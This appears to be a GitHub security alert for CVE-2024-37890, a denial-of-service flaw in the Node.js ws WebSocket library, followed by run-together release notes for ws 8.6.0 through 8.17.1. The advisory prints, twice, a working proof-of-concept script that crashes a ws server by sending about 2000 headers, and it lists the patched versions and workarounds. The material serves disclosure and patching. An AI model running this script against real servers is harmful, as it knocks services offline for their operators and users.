GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

### [`v8.17.1`](https://togithub.com/websockets/ws/releases/tag/8.17.1) [Compare Source](https://togithub.com/websockets/ws/compare/8.17.0...8.17.1) ### Bug fixes - Fixed a DoS vulnerability ([#2231](https://togithub.com/websockets/ws/issues/2231)). A request with a number of headers exceeding the[`server.maxHeadersCount`][server.maxHeadersCount] threshold could be used to crash a ws server. ```js const http = require('http'); const WebSocket = require('ws'); const server = http.createServer(); const wss = new WebSocket.Server({ server }); server.listen(function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: server.address().port }); request.end(); }); ``` The vulnerability was reported by [Ryan LaPointe](https://togithub.com/rrlapointe) in [https://github.com/websockets/ws/issues/2230](https://togithub.com/websockets/ws/issues/2230). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the [`--max-http-header-size=size`][--max-http-header-size=size] and/or the [`maxHeaderSize`][maxHeaderSize] options so that no more headers than the `server.maxHeadersCount` limit can be sent. 2. Set `server.maxHeadersCount` to `0` so that no limit is applied.

This is a breaking change in a patch release. The assumption is that the option is not widely used. ### [`v8.16.0`](https://togithub.com/websockets/ws/releases/tag/8.16.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.15.1...8.16.0) ### Features - Added the `autoPong` option ([`01ba54e`](https://togithub.com/websockets/ws/commit/01ba54ed)). ### [`v8.15.1`](https://togithub.com/websockets/ws/releases/tag/8.15.1) [Compare Source](https://togithub.com/websockets/ws/compare/8.15.0...8.15.1) ### Notable changes - The `allowMultipleEventsPerMicrotask` option has been renamed to `allowSynchronousEvents` ([`4ed7fe5`](https://togithub.com/websockets/ws/commit/4ed7fe58)). This is a breaking change in a patch release that could have been avoided with an alias, but the renamed option was added only 3 days ago, so hopefully it hasn't already been widely used. ### [`v8.15.0`](https://togithub.com/websockets/ws/releases/tag/8.15.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.14.2...8.15.0) ### Features - Added the `allowMultipleEventsPerMicrotask` option ([`93e3552`](https://togithub.com/websockets/ws/commit/93e3552e)). ### [`v8.14.2`](https://togithub.com/websockets/ws/releases/tag/8.14.2) [Compare Source](https://togithub.com/websockets/ws/compare/8.14.1...8.14.2) ### Bug fixes - Fixed an issue that allowed errors thrown by failed assertions to be swallowed when running tests ([`7f4e1a7`](https://togithub.com/websockets/ws/commit/7f4e1a75)). ### [`v8.14.1`](https://togithub.com/websockets/ws/releases/tag/8.14.1) [Compare Source](https://togithub.com/websockets/ws/compare/8.14.0...8.14.1) ##### Bug fixes - Improved the reliability of two tests for [CITGM][] ([`fd3c64c`](https://togithub.com/websockets/ws/commit/fd3c64cb)).

[`buffer.isutf8()`]: https://nodejs.org/api/buffer.html#bufferisutf8input ### [`v8.11.0`](https://togithub.com/websockets/ws/releases/tag/8.11.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.10.0...8.11.0) ### Features - `WebSocket.prototype.addEventListener()` now supports an event listener specified as an object with a `handleEvent()` method. ([`9ab743a`](https://togithub.com/websockets/ws/commit/9ab743aa)). ### Bug fixes - `WebSocket.prototype.addEventListener()` now adds an event listener only if it is not already in the list of the event listeners for the specified event type ([`1cec17d`](https://togithub.com/websockets/ws/commit/1cec17da)). ### [`v8.10.0`](https://togithub.com/websockets/ws/releases/tag/8.10.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.9.0...8.10.0) ### Features - Added an export for package.json ([`211d5d3`](https://togithub.com/websockets/ws/commit/211d5d38)). ### [`v8.9.0`](https://togithub.com/websockets/ws/releases/tag/8.9.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.8.1...8.9.0) ### Features - Added the ability to connect to Windows named pipes ([#2079](https://togithub.com/websockets/ws/issues/2079)). ### [`v8.8.1`](https://togithub.com/websockets/ws/releases/tag/8.8.1) [Compare Source](https://togithub.com/websockets/ws/compare/8.8.0...8.8.1) ### Bug fixes - The `Authorization` and `Cookie` headers are no longer sent if the original request for the opening handshake is sent to an IPC server and the client is redirected to another IPC server ([`bc8bd34`](https://togithub.com/websockets/ws/commit/bc8bd34e)). ### [`v8.8.0`](https://togithub.com/websockets/ws/releases/tag/8.8.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.7.0...8.8.0) ### Features - Added the `WS_NO_BUFFER_UTIL` and `WS_NO_UTF_8_VALIDATE` environment variables ([`becf237`](https://togithub.com/websockets/ws/commit/becf237c)). ### [`v8.7.0`](https://togithub.com/websockets/ws/releases/tag/8.7.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.6.0...8.7.0) ### Features - Added the ability to inspect the invalid handshake requests and respond to them with a custom HTTP response. ([`6e5a5ce`](https://togithub.com/websockets/ws/commit/6e5a5ce3)). ### Bug fixes - The handshake is now aborted if the `Upgrade` header field value in the HTTP response is not a case-insensitive match for the value "websocket" ([`0fdcc0a`](https://togithub.com/websockets/ws/commit/0fdcc0af)). - The `Authorization` and `Cookie` headers are no longer sent when following an insecure redirect (wss: to ws:) to the same host ([`d68ba9e`](https://togithub.com/websockets/ws/commit/d68ba9e1)). ### [`v8.6.0`](https://togithub.com/websockets/ws/releases/tag/8.6.0) [Compare Source](https://togithub.com/websockets/ws/compare/8.5.0...8.6.0) ### Features - Added the ability to remove confidential headers on a per-redirect basis ([#2030](https://togithub.com/websockets/ws/issues/2030)).
